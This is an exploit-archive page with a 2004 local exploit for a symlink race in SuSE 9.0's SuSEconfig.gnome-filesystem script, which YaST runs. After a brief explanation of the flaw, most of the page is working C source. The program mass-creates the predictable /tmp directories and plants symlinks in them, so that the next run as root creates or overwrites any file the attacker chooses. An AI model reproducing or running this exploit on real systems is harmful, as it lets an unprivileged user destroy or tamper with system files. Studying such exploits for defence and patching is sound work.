exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

susegnome.txt

susegnome.txt
Posted Jan 14, 2004
Authored by l0om | Site excluded.org

Local exploit that makes use of a symlink vulnerability in YaST when using SuSEconfig.gnome-filesystem.

tags | exploit, local
SHA-256 | b52db200e1ea04d1dd8b34e13eb95b40a438eeed156071a65829e4a699a709a6

susegnome.txt

Change Mirror Download


Author: l0om <l0om@excluded.org>
Date: 12.01.2004
page: www.excluded.org

SuSE 9.0 - YaST script SuSEconfig.gnome-filesystem

There is a symlink problem in the
SuSEconfig.gnome-filesystem
scribt. a normal user can creat and overwrite every
file
on the system. This script gets executed after a
configuration change by the
setup tool YaST. So if you have installed gnome or
parts of gnome check this out.


When this scribt gets executed by YaST after a
configuration change it does the following:

TEMP=/tmp/tmp.SuSEconfig.gnome-filesystem.$RANDOM
mkdir $TEMP
touch $TEMP/list
[...]
echo >$TEMP/found
[...]

the env variable $RANDOM includes a random number.
in my tests
this number goes up from 1 to 33000. But also if it
goes up to
65535 it is still vul. to a symlink attack. this is
nearly as
bad as the symlink problem which has been found on
SuSE 8.2.
On 8.2 a SuSEconf scribt has created a link with the
$$ at the
file end.

I have used a little exploit written in C which
creats the
directory "/tmp/tmp.SuSEconfig.gnome-filesystem.1"
up to
33000. in every directory i have created a symlink
to a file
which i want to creat or to overwrite. as the
filename i have
taken the $TEMP/found and let it point to some file.
in my test i
have taken the /etc/nologin- and hey- it has worked!

have phun!


*******************************************************************/

#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem."
#define START 1
#define END 33000

int main(int argc, char **argv)
{
int i;
char buf[150];

printf("\tSuSE 9.0 YaST script
SuSEconfig.gnome-filesystem exploit\n");
printf("\t-------------------------------------------------------------
\n");
printf("\tdiscovered and written by l0om
<l0om@excluded.org>\n");
printf("\t WWW.EXCLUDED.ORG\n\n");

if(argc != 2) {
printf("usage: %s <destination-file>\n",argv[0]);
exit(0xff);
}

printf("### hit enter to create or overwrite file %
s: ",argv[1]); fflush(stdout);
read(1, buf, 1); fflush(stdin);

umask(0000);
printf("working\n\n");
for(i = START; i < END; i++) {
snprintf(buf, sizeof(buf),"%s%d",PATH,i);
if(mkdir(buf,00777) == -1) {
fprintf(stderr, "cannot creat directory [Nr.%d]
\n",i);
exit(0xff);
}
if(!(i%1000))printf(".");
strcat(buf, "/found");
if(symlink(argv[1], buf) == -1) {
fprintf(stderr, "cannot creat symlink from %s to %s
[Nr.%d]\n",buf,argv[1],i);
exit(0xff);
}
}
printf("\ndone!\n");
printf("next time the SuSE.gnome-filesystem script
gets executed\n");
printf("we will create or overwrite file %s
\n",argv[1]);
return(0x00);
} /* i cant wait for the new gobbles comic!! */
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close